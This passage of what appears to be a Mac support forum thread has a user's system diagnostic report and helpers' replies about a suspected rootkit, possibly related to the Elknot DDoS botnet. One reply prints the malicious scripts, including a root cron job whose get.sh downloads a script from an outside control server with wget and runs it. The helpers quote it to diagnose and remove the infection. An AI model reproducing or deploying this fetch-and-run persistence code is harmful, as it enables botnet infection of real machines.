(com.apple.FolderActions.folders)

Library/LaunchAgents/com.bombich.ccc-user-agent.plist

(com.bombich.ccc-user-agent)

Library/LaunchAgents/com.google.keystone.agent.plist

(com.google.keystone.user.agent)

Library/LaunchAgents/com.koingosw.MacCleanse4Helper.Reminder.plist

(com.koingosw.MacCleanse4Helper.Reminder)

Library/LaunchAgents/com.koingosw.MacCleanse4Helper.TrashWatcher.plist

(com.koingosw.MacCleanse4Helper.TrashWatcher)

Library/LaunchAgents/com.Livestation.plist

(com.Livestation)

Library/LaunchAgents/com.macpaw.CleanMyMac.volumeWatcher.plist

(com.macpaw.CleanMyMac.volumeWatcher)

Library/LaunchAgents/com.macupdate.desktop5.scanner.plist

(com.macupdate.desktop5.scanner)

Library/LaunchAgents/com.smithmicro.cleaning.schedulermailer.plist

(com.smithmicro.cleaning.schedulermailer)

Library/LaunchAgents/mondomouse.plist

(com.atomicbird.mondomouse)

Library/LaunchAgents/org.virtualbox.vboxwebsrv.plist

(org.virtualbox.vboxwebsvc)

Library/LaunchAgents/ws.agile.1PasswordAgent.plist

(ws.agile.1PasswordAgent)

Startup items

/Library/StartupItems/BRESINKx86Monitoring/BRESINKx86Monitoring

/Library/StartupItems/BRESINKx86Monitoring/BRESINKx86Monitoring.kext/Contents/I nfo.plist

/Library/StartupItems/BRESINKx86Monitoring/BRESINKx86Monitoring.kext/Contents/M acOS/BRESINKx86Monitoring

/Library/StartupItems/BRESINKx86Monitoring/StartupParameters.plist

/Library/StartupItems/FTDIReEnumerate/FTDIReEnumerate

/Library/StartupItems/FTDIReEnumerate/ReEnumerate

/Library/StartupItems/FTDIReEnumerate/StartupParameters.plist

/Library/StartupItems/ParallelsTransporter/llipd

/Library/StartupItems/ParallelsTransporter/ParallelsTransporter

/Library/StartupItems/ParallelsTransporter/StartupParameters.plist

/Library/StartupItems/RetroClient/RetroClient

/Library/StartupItems/RetroClient/StartupParameters.plist

/Library/StartupItems/RetroRun/RetroRun

/Library/StartupItems/RetroRun/StartupParameters.plist

/Library/StartupItems/SymDCInit/StartupParameters.plist

/Library/StartupItems/SymDCInit/SymDCInit

/Library/StartupItems/VirtualBox/StartupParameters.plist

/Library/StartupItems/VirtualBox/VirtualBox

Bundles

/System/Library/Extensions/AppleIntelMCEReporter.kext

(com.apple.driver.AppleIntelMCEReporter)

/System/Library/Extensions/AVFrameBuffer.kext

(com.avatron.AVExFramebuffer)

/System/Library/Extensions/AVVideoCard.kext

(com.avatron.AVExVideo)

/System/Library/Extensions/DisplayLinkDriver.kext

(com.displaylink.driver.DisplayLinkDriver)

/System/Library/Extensions/DisplayLinkEthernetDriver.kext

(com.displaylink.dlusbncm)

/System/Library/Extensions/hp_Inkjet4_io_enabler.kext

(com.hp.print.hpio.Inkjet4.kext)

/System/Library/Extensions/hp_Inkjet5_io_enabler.kext

(com.hp.print.hpio.Inkjet5.kext)

/System/Library/Extensions/hp_Inkjet8_io_enabler.kext

(com.hp.print.hpio.inkjet8.kext)

/System/Library/Extensions/hp_io_printerclassdriver_enabler.kext

(com.hp.hpio.hp_io_printerclassdriver_enabler)

/System/Library/Extensions/hp_Laserjet_io_enabler.kext

(com.hp.print.hpio.Laserjet.kext)

/System/Library/Extensions/hp_Officejet_io_enabler.kext

(com.hp.print.hpio.Officejet.kext)

/System/Library/Extensions/hp_Photosmart_io_enabler.kext

(com.hp.print.hpio.Photosmart.kext)

/System/Library/Extensions/hp_PhotosmartPro_io_enabler.kext

(com.hp.print.hpio.PhotosmartPro.kext)

/System/Library/Extensions/hp_qc_io_enabler.kext

(com.hp.hpio.hp_psa530_630_io_enabler)

/System/Library/Extensions/Lexmark X422.kext

(com.lexmark.iokit.x422scanner)

/System/Library/Extensions/LexmarkUSBMerge.kext

(com.lexmark.print.usbmerge)

/System/Library/Extensions/LogitechHIDDevices.kext

(com.Logitech.Control Center.HID Driver)

/System/Library/Extensions/LogitechUnifying.kext

(com.Logitech.Unifying.HID Driver)

/System/Library/Extensions/moschipIrDA.kext

(com.moschip.driver.moschipIrDA)

/System/Library/Extensions/sony_prs.kext

(com.sony.driver.prs)

/System/Library/Extensions/SymInternetSecurity.kext

(com.symantec.kext.internetSecurity)

/System/Library/Extensions/SymIPS.kext

(com.symantec.kext.ips)

/System/Library/Extensions/TargusEventDriver.kext

(com.targus.driver.EventDriver)

/Library/Audio/Plug-Ins/HAL/iSightAudio-PowerPC.plugin

(com.apple.iSightAudio)

/Library/Extensions/VBoxDrv.kext

(org.virtualbox.kext.VBoxDrv)

/Library/Extensions/VBoxNetAdp.kext

(org.virtualbox.kext.VBoxNetAdp)

/Library/Extensions/VBoxNetFlt.kext

(org.virtualbox.kext.VBoxNetFlt)

/Library/Extensions/VBoxUSB.kext

(org.virtualbox.kext.VBoxUSB)

/Library/Internet Plug-Ins/AdobePDFViewer.plugin

(com.adobe.acrobat.pdfviewer)

/Library/Internet Plug-Ins/AdobePDFViewerNPAPI.plugin

(com.adobe.acrobat.pdfviewerNPAPI)

/Library/Internet Plug-Ins/CouponPrinter-FireFox_v2.plugin

(com.coupons.plugin.mozilla-plugin)

/Library/Internet Plug-Ins/CouponPrinter-Safari.webplugin

(BUNDLE_ID)

/Library/Internet Plug-Ins/Disabled Plug-Ins/Windows Media Plugin

(com.microsoft.WMP.defaultplugin)

/Library/Internet Plug-Ins/Disabled Plug-Ins/Windows Media Plugin/Contents/Resources/English.lproj

(com.microsoft.Windows Media Plugin)

/Library/Internet Plug-Ins/Disabled Plug-Ins/Windows Media Plugin.old

(com.microsoft.WMP.defaultplugin)

/Library/Internet Plug-Ins/Disabled Plug-Ins/Windows Media Plugin.old/Contents/Resources/English.lproj

(com.microsoft.Windows Media Plugin)

/Library/Internet Plug-Ins/DRM Plugin.bundle

(com.microsoft.DRMPlugin)

/Library/Internet Plug-Ins/ebldetect.bundle

(com.sony.ebook.ebldetect)

/Library/Internet Plug-Ins/eMusicRemote.plugin

(com.emusic.plugins.emp.mac)

/Library/Internet Plug-Ins/Flash Player.plugin

(com.macromedia.Flash Player.plugin)

/Library/Internet Plug-Ins/Flip4Mac WMV Plugin.plugin

(net.telestream.wmv.plugin)

/Library/Internet Plug-Ins/Flip4Mac WMV Plugin.webplugin

(net.telestream.wmv.webplugin)

/Library/Internet Plug-Ins/Google Earth Web Plug-in.plugin

(com.Google.GoogleEarthPlugin.plugin)

/Library/Internet Plug-Ins/iPhotoPhotocast.plugin

(com.apple.plugin.iPhotoPhotocast)

/Library/Internet Plug-Ins/JavaAppletPlugin.plugin

(com.apple.java.JavaAppletPlugin)

/Library/Internet Plug-Ins/JavaEmbeddingPlugin.bundle

(N/A)

/Library/Internet Plug-Ins/LogMeIn.plugin

(com.logmein.remctrlplugin)

/Library/Internet Plug-Ins/MRJPlugin.plugin

(com.netscape.MRJPlugin)

/Library/Internet Plug-Ins/OfficeLiveBrowserPlugin.plugin

(com.microsoft.officelive.browserplugin)

/Library/Internet Plug-Ins/PDF Browser Plugin.plugin

(com.schubert-it.internet-plugin.pdf)

/Library/Internet Plug-Ins/RealPlayer Plugin.plugin

(com.RealNetworks.RealPlayerPlugin)

/Library/Internet Plug-Ins/SharePointBrowserPlugin.plugin

(com.microsoft.sharepoint.browserplugin)

/Library/Internet Plug-Ins/SharePointWebKitPlugin.webplugin

(com.microsoft.sharepoint.webkitplugin)

/Library/Internet Plug-Ins/Silverlight.plugin

(com.microsoft.SilverlightPlugin)

/Library/PreferencePanes/DictionaryCleaner1.5.prefPane

(com.twoamsoftware.dictionarycleaner)

/Library/PreferencePanes/ExtraFonts.prefPane

(jp.gr.fan.sakai.camino.preference.extrafonts)

/Library/PreferencePanes/Flash Player.prefPane

(com.adobe.flashplayerpreferences)

/Library/PreferencePanes/Flip4Mac WMV.prefPane

(net.telestream.wmv.prefpane)

/Library/PreferencePanes/GlimmerBlocker.prefPane

(org.glimmerblocker.prefsPane)

/Library/PreferencePanes/Growl.prefPane

(com.growl.prefpanel)

/Library/PreferencePanes/iClock Pro.prefPane

(com.scriptsoftware.prefiClockPanel)

/Library/PreferencePanes/MacFUSE.prefPane

(com.google.MacFUSE)

/Library/PreferencePanes/Menu Master.prefPane

(com.unsanity.menumaster)

/Library/PreferencePanes/MondoMouse.prefPane

(com.atomicbird.mondomouse)

/Library/PreferencePanes/NTFSforMacOSX.prefPane

(com.paragon-software.filesystems.ntfs.prefpanel)

/Library/PreferencePanes/OSXFUSE.prefPane

(com.github.osxfuse.OSXFUSEPrefPane)

/Library/PreferencePanes/PTHPasteboard.prefPane

(com.pth.PTHPasteboard.prefPane)

/Library/PreferencePanes/Screenshots.prefPane

(com.egosystems.screenshotsprefpane)

/Library/PreferencePanes/Secrets.prefPane

(com.blacktree.Secrets)

/Library/PreferencePanes/Slink.prefPane

(com.slinkware.Slink.PreferencePane)

/Library/PreferencePanes/SymantecQuickMenu.prefPane

(com.symantec.quickmenu.prefpane)

/Library/PreferencePanes/Widget Manager.prefPane

(com.downtownsoftwarehouse.widgetmanager)

/Library/PreferencePanes/Xmarks.prefPane

(com.xmarks.safariprefs)

/Library/QuickTime/Perian.component

(org.perian)

/Library/ScriptingAdditions/Glims.osax

(com.machangout.glims.osax)

/Library/ScriptingAdditions/TotalSpaces.osax

(com.binaryage.totalspaces.injector)

/Library/Services/lipServiceX.service

(com.rosboroughtech.lipServiceX)

/Library/Spotlight/iMovie.mdimporter

(com.apple.iMovieMDImporter)

/Library/Spotlight/iWeb.mdimporter

(com.apple.MDImporter.iWeb)

/Library/Spotlight/Microsoft Entourage.mdimporter

(com.microsoft.entourageMDImporter)

/Library/Spotlight/SourceCode.mdimporter

(com.apple.MDImporter.SourceCode)

Library/Address Book Plug-Ins/SkypeABDialer.bundle

(com.skype.skypeabdialer)

Library/Address Book Plug-Ins/SkypeABSMS.bundle

(com.skype.skypeabsms)

Library/InputManagers/CamiScript/CamiScript.bundle

(de.nadamac.camiscript)

Library/InputManagers/CamiScript/CamiScript.bundle/Contents/Resources/English.l proj

(de.nadamac.camiscript)

Library/Internet Plug-Ins/ClickToFlash.webplugin

(com.github.rentzsch.clicktoflash)

Library/Internet Plug-Ins/nbabelgum_plugin.bundle

(com.apple.babelgumplugin)

Library/Internet Plug-Ins/nbabelgum_plugin.bundle/Contents/Resources

(com.apple.babelgumplugin)

Library/Internet Plug-Ins/PDF Browser Plugin.plugin

(com.schubert-it.internet-plugin.pdf)

Library/Internet Plug-Ins/Picasa.plugin

(com.google.PicasaPlugin)

Library/Internet Plug-Ins/WebEx64.plugin

(com.cisco_webex.plugin.gpc64)

Library/PreferencePanes/MouseLocator.prefPane

(com.2point5fish.mouselocator)

Library/ScriptingAdditions/TextExpander Addition.osax

(com.smileonmymac.textexpander.osax)

Library/ScriptingAdditions/YouHelper.osax

(com.yousoftware.youhelper)

Library/Services/AppDelete.workflow

(N/A)

Library/Services/CalcService.service

(org.grunenberg.CalcService)

Library/Services/WordService.service

(org.grunenberg.WordService)

Library/Spotlight/FontMDI.mdimporter

(com.linotype.fontMetaDataImporter)

dylibs

/usr/lib/libdvdcss.2.dylib

/usr/lib/libgimpprint.7.dylib

/usr/lib/libopengpulib.1.0.0.dylib

/usr/lib/libPrintServiceQuota.1.dylib

/usr/lib/libruby.2.0.0.dylib

/usr/lib/libUFSDNTFS.dylib

/usr/lib/libwidgets.dylib

/usr/lib/openlibraries-0.3.0/openassetlib/lib/libopenassetlib_al.0.dylib

/usr/lib/openlibraries-0.3.0/openassetlib/lib/libopenassetlib_py.0.dylib

/usr/lib/openlibraries-0.3.0/openassetlib/plugins/libopenassetlib_filesystem_pl ugin.0.dylib

/usr/lib/openlibraries-0.3.0/openassetlib/plugins/libopenassetlib_sqlite3_plugi n.0.dylib

/usr/lib/openlibraries-0.3.0/openeffectslib/lib/libopeneffectslib_fx.0.dylib

/usr/lib/openlibraries-0.3.0/openeffectslib/plugins/libopeneffectslib_colour_ef fect.0.dylib

/usr/lib/openlibraries-0.3.0/openeffectslib/plugins/libopeneffectslib_gpu_kerne l.0.dylib

/usr/lib/openlibraries-0.3.0/openeffectslib/plugins/libopeneffectslib_openimage lib_source.0.dylib

/usr/lib/openlibraries-0.3.0/openeffectslib/plugins/libopeneffectslib_openmedia lib_source.0.dylib

/usr/lib/openlibraries-0.3.0/openimagelib/lib/libopenimagelib_il.0.dylib

/usr/lib/openlibraries-0.3.0/openimagelib/lib/libopenimagelib_py.0.dylib

/usr/lib/openlibraries-0.3.0/openimagelib/plugins/libopenimagelib_3D_lightmap.0 .dylib

/usr/lib/openlibraries-0.3.0/openimagelib/plugins/libopenimagelib_dds.0.dylib

/usr/lib/openlibraries-0.3.0/openimagelib/plugins/libopenimagelib_exr.0.dylib

/usr/lib/openlibraries-0.3.0/openimagelib/plugins/libopenimagelib_hdr.0.dylib

/usr/lib/openlibraries-0.3.0/openimagelib/plugins/libopenimagelib_quicktime.0.d ylib

/usr/lib/openlibraries-0.3.0/openimagelib/plugins/libopenimagelib_sgi.0.dylib

/usr/lib/openlibraries-0.3.0/openimagelib/plugins/libopenimagelib_tga.0.dylib

/usr/lib/openlibraries-0.3.0/openmedialib/lib/libopenmedialib_ml.0.dylib

/usr/lib/openlibraries-0.3.0/openmedialib/plugins/libopenmedialib_avformat.0.dy lib

/usr/lib/openlibraries-0.3.0/openmedialib/plugins/libopenmedialib_glew.0.dylib

/usr/lib/openlibraries-0.3.0/openmedialib/plugins/libopenmedialib_mlt.0.dylib

/usr/lib/openlibraries-0.3.0/openmedialib/plugins/libopenmedialib_oil.0.dylib

/usr/lib/openlibraries-0.3.0/openmedialib/plugins/libopenmedialib_openal.0.dyli b

/usr/lib/openlibraries-0.3.0/openmedialib/plugins/libopenmedialib_template.0.dy lib

/usr/lib/openlibraries-0.3.0/openobjectlib/lib/libopenobjectlib_sg.0.dylib

/usr/lib/openlibraries-0.3.0/openobjectlib/plugins/libopenobjectlib_3ds.0.dylib

/usr/lib/openlibraries-0.3.0/openobjectlib/plugins/libopenobjectlib_dae.0.dylib

/usr/lib/openlibraries-0.3.0/openobjectlib/plugins/libopenobjectlib_obj.0.dylib

/usr/lib/openlibraries-0.3.0/openobjectlib/plugins/libopenobjectlib_tsto.0.dyli b

/usr/lib/openlibraries-0.3.0/openobjectlib/plugins/libopenobjectlib_x3d.0.dylib

/usr/lib/openlibraries-0.3.0/openobjectlib/plugins/libopenobjectlib_x3dbz.0.dyl ib

/usr/lib/openlibraries-0.3.0/openobjectlib/plugins/libopenobjectlib_x3dz.0.dyli b

/usr/lib/openlibraries-0.3.0/openpluginlib/lib/libopenpluginlib_pl.0.dylib

/usr/lib/openlibraries-0.3.0/openpluginlib/lib/libopenpluginlib_py.0.dylib

Contents of /etc/crontab (ASCII text)

SHELL=/bin/bash

PATH=/sbin:/bin:/usr/sbin:/usr/bin

MAILTO=root

HOME=/

*/55 * * * * root /bin/reset.sh

*/55 * * * * root /bin/kill.sh

*/1 * * * * root /bin/check.sh

*/20 * * * * root /bin/get.sh

Contents of /etc/launchd.conf (ASCII text)

setenv _GOOGLE_GILD_RUNTIME_FRAMEWORK_ABSOLUTE_PATH_ /Library/Google/Frameworks/Gild.framework

Font issues: 59

Bad plists

Library/Preferences/ByHost/com.apple.Classic.0016cbd1b517.plist

Library/Preferences/ByHost/com.apple.screensaver.slideshow.0016cbd1b517.plist

Library/Preferences/ByHost/loginwindow.0016cbd1b517.plist

Firewall: On

DNS: 67.90.152.122 (static)

User login items

/Applications/Currency Converter.app

/Library/PreferencePanes/Growl.prefPane/Contents/Resources/GrowlHelperApp.app

/Library/Application Support/CleverFiles/SmartDaemon.app

/Applications/DEVONagent Lite.app

/Applications/DEVONagent.app

/Applications/SizeUp.app

/Applications/Weather Underground.app

/Applications/Utilities/Caffeine.app

~/Library/PreferencePanes/MouseLocator.prefPane/Contents/Resources/MouseLocator Agent.app

/Library/PreferencePanes/PTHPasteboard.prefPane/Contents/Resources/PTHPasteboar d.app

/Applications/1Password.app

/Applications/VelaClock.app

/Applications/Alfred.app

/Applications/TextExpander.app

/Applications/Jumper.app

/Applications/Utilities/xScan.app

/Applications/Utilities/ForeverSave 2.app

/Applications/CrashPlan.app/Contents/Resources/CrashPlan menu bar.app

/Applications/KeyCue.app

/Applications/XMenu.app

/Applications/Utilities/Keyboard Maestro.app

/Applications/VMware Fusion.app/Contents/Library/VMware Fusion Start Menu.app

~/Library/Wormhole/Wormhole.app

/Applications/Utilities/AccessMenuBarApps.app

~/Library/Application Support/Google/Android File Transfer/Android File Transfer Agent.app

/Applications/Google Drive.app

/Applications/Dropbox.app

/Applications/Utilities/Semulov.app

/Applications/Xmarks for Safari.app

Restricted files: 10298

Safari extensions

Hover Bubble

InvisibleHand

LastPass

WOT

CustomSearch

Search Preview

AdBlock

MouseGestures

Ultimate Status Bar

Exposer

Reload Button

1Password

Clip to DEVONthink

Pocket

OpenIE

Clip to DEVONthink

AllMyTube

Elapsed time (s): 4435

Reply

Answer 4

May 20, 2014 8:36 AM in response to Steven Zaveloff

Further to this.

I shut down booted to the Recovery Disk and ran Disk Utility's Repair Disk (all OK) and Repair Permissions. When I rebooted to the startup disk, everything was normal for a few minutes but then the repeated iterations of

cron and sendmail started again using most of my CPU resources (running over 90% load for system usage).

Reply

Answer 5

Linc Davis

Level 10

209,541 points

May 20, 2014 9:09 AM in response to Steven Zaveloff

There are many issues here, but the most serious is that you may have installed some kind of malware that I haven't seen before. Please run the command below in the same way as before and paste the output into a reply.

for f in /bin/*.sh; do ls -Tl "$f"; echo; cat "$f"; echo; done | pbcopy

Reply

Answer 6

May 20, 2014 9:21 AM in response to Linc Davis

-rwxrwxrwx 1 root wheel 134 May 2 07:37:49 2014 /bin/check.sh

#!/usr/bin/env sh

count=`ps -ef | grep -v grep | grep pro | wc -l`

if [ $count -gt 5 ]; then

/bin/reset.sh

fi

/bin/reset.sh

-rwxrwxrwx 1 root wheel 91 Apr 20 23:17:18 2014 /bin/get.sh

#!/bin/sh

wget http://956.meibu.net:2200/123.sh -o /tmp

chmod 0777 /tmp/123.sh

/tmp/123.sh

-rwxrwxrwx 1 root wheel 248 Apr 20 09:46:13 2014 /bin/kill.sh

#!/bin/sh

killall rewgtf3er4t atddd xfsdxd b26h b26 dsfrefr gfhjrtfyhuf sdmfdsfhjfe ferwfrre pojie sksapd gfhddsfew sfewfesfsh sfewfesfs cupsdd atdd cupsddh ksapd ksapdd Bill xfsdx cupsddd kysapdd sksapdd kysapdd skysapdd skysapd kysapd meiun 111

-rwxrwxrwx 1 root wheel 60 Apr 20 09:46:35 2014 /bin/reset.sh

#!/bin/sh

cp -rf /tmp/get/pro /boot/

/boot/pro

/bin/kill.sh

Reply

Answer 7

Linc Davis

Level 10

209,541 points

May 20, 2014 9:55 AM in response to Steven Zaveloff

That's obviously a malicious rootkit, unknown to me. It was probably installed on May 2 or later. The control server seems to be down at the moment.

If you know, or think you know, where this rootkit came from, posting that information may help others.

The only way to be sure the system is safe to use is to erase the startup volume, reinstall OS X, and then go through the initial setup process, restoring only user data from a backup—not applications, settings, or other files.

Back up all data to at least two different storage devices, if you haven't already done so. One backup is not enough to be safe. The backups can be made with Time Machine or with Disk Utility. Preferably both.

Erase and install OS X. This operation will destroy all data on the startup volume, so you had be better be sure of the backups. If you upgraded from an older version of OS X, you'll need the Apple ID and password that you used, so make a note of those before you begin.

When you restart, you'll be prompted to go through the initial setup process in Setup Assistant. That’s when you transfer the data from a backup.

Select only users in the Setup Assistant dialog—not Applications, Computer & Network Settings, or Other files and folders. Don't transfer the Guest account, if it was enabled.

After that, run Software Update.

Reinstall third-party software selectively from original media or fresh downloads—not from a backup, which may be contaminated. I can only suggest general guidelines. Self-contained applications that install into the Applications folder by drag-and-drop or download from the App Store are usually safe. Anything that comes packaged as an installer or that prompts for an administrator password is suspect, and you must test thoroughly after reinstalling each such item to make sure you haven't restored the problem.

I strongly recommend that you never reinstall "anti-virus" products or "utilities," nor any software that changes the user interface or modifies the functions of built-in applications. You have two anti-virus products, "Sophos" and "Norton/Symantec." Both are worse than useless; both failed to protect you from this attack; and both will fail to protect you from any real threat. They're good for nothing but slowing down and destabilizing the computer, wasting your time with pointless alerts, and giving you a false sense of security that makes you more vulnerable to attacks like this one.

Before installing any software, ask yourself the question: "Am I sure I know how to uninstall this without having to wipe the volume again?" If the answer is "no," stop.

Never install any third-party software unless you know how to uninstall it.

That being done, change all Internet passwords and check all financial accounts for unauthorized transactions. Do this after the system has been secured, not before.

Reply

Answer 8

The hatter

Level 9

60,980 points

May 20, 2014 10:23 AM in response to Steven Zaveloff

Did you happen to clone your system a month or so ago along with make a fresh 2nd clone before applying updates or installing software?

You have 1TB hybrid drive, I would have just the OS reside there and all the data, media and such reside on other drive(s).

Restore is then very simple quick and not that much data to move, though with any SSD device you would need TRIM to help manage and use SSD cells and pages.

When you do get back to a solid clean OS then that is the time to make a system restore image or volume and put aside. Make two, one for use when you do need to boot from and use 3rd party tools if ever, if you feel that you must install those commerical AV products, do so, just one, on another "system maintenance" drive only.

Reply

Answer 9

thomas_r.

Level 7

31,989 points

May 20, 2014 1:43 PM in response to Steven Zaveloff

You certainly have something malicious installed, but I don't think that it's Mac malware. It appears to be somehow related to the Elknot malware, which is a Linux trojan that uses many of the filenames referred to in the kill.sh script you have. Elknot is used to perform DDOS attacks. (Essentially, it turns an infected machine into a "bot" that sends a barrage of network traffic to a particular server, combining with other infected machines in an assault that prevents legitimate traffic from reaching the server.)

Further, the get.sh script attempts to download and execute some script file from a suspicious server - a true indicator of malicious behavior if there ever was one. However, it uses wget to do so. Mac OS X does not include wget, so unless you (or whatever installed this malware) installed it, that script is not functional.

Run the following command in the Terminal:

ls -al /tmp

If there's no sign of a 123.sh file, that's further evidence that the malware was designed for Linux and isn't functioning entirely as intended.

Now, of course, we don't know how it got on your machine and what else might have been done in the process of installing it, so I would follow Linc's advice very carefully to erase the hard drive and reinstall from scratch.

Besides which, your system is extremely heavily modified anyway, loaded down with a truly astounding amount of crap, so even without the potential malware issue, I would still say that's the only way you're going to clean things up.

Reply

Answer 10

Linc Davis

Level 10

209,541 points

May 20, 2014 3:02 PM in response to Linc Davis

Just in case you're confused, I don't know what the rootkit does, but it's certainly doing something.

Reply

Answer 11

MadMacs0

Level 5

5,221 points

May 20, 2014 4:30 PM in response to Linc Davis

Linc Davis wrote:

I don't know what the rootkit does, but it's certainly doing something.

That's pretty clear. As a minimum, cron is running the reset, kill, check and get shell scripts every hour. I would have to guess sendmail is posting error messages since some of these either can't fully execute or fail to find what they are looking for. Anybody know off hand where root mail is initially stored?

If this is, in fact, DDOS botnet code, then "956.meibu.net" must be the C&C server which sends out the '123' shell script giving with the instruction set to launch a DDOS attack against a specific target. The server appears to be located in Taiwan and probably only comes to life when an attack has been bought and paid for. It could, of course, be controlled from anywhere.

Reply

Answer 12

May 22, 2014 3:50 PM in response to Steven Zaveloff

Another problem is that you have more than ONE Anti-Virus program installed.

com.symantec.kext.internetSecurity

com.symantec.kext.ips

com.sophos.kext.sav

Everything an Anti-Virus program does looks like a Virus to another Anti-Virus program. This by itself can bring your computer to its knees.

I think you may need to consider erasing your Hard drive, re-Installing MacOS X, and restoring ONLY your user files from backups.

¿Do you have current backups? Do you have the two sets generally required when erasing your hard drive?

Reply

Answer 13

MadMacs0

Level 5

5,221 points

May 22, 2014 4:12 PM in response to Grant Bennet-Alder

Grant Bennet-Alder wrote:

Another problem is that you have more than ONE Anti-Virus program installed.

I was going to bring that up too, but we seem to have lost our OP. I'm still very interested in knowing how he came about this infection.

Reply

Answer 14

Linc Davis

Level 10

209,541 points

May 22, 2014 4:29 PM in response to MadMacs0

This looks like something that would happen as a result of being rooted via SSH, not by downloading a trojan. That's just a guess.

Reply

Answer 15

MadMacs0

Level 5

5,221 points

May 22, 2014 4:38 PM in response to Linc Davis

At this point I think anything is possible.

By coincidence, I there was a discussion started on the clamav-user list Unix.Trojan.ElkKnot FOUND. So far it has been determined that the OP didn't have his signature database up-to-date as the signature had been pulled for refinement (too many false positives) and will be re-issued shortly, so I'm waiting to see whether it's a installer, one of the components we alreay know about or a different Elknot variant.

OS X is somewhat vulnerable to SSH attacks, but that's another story.

Reply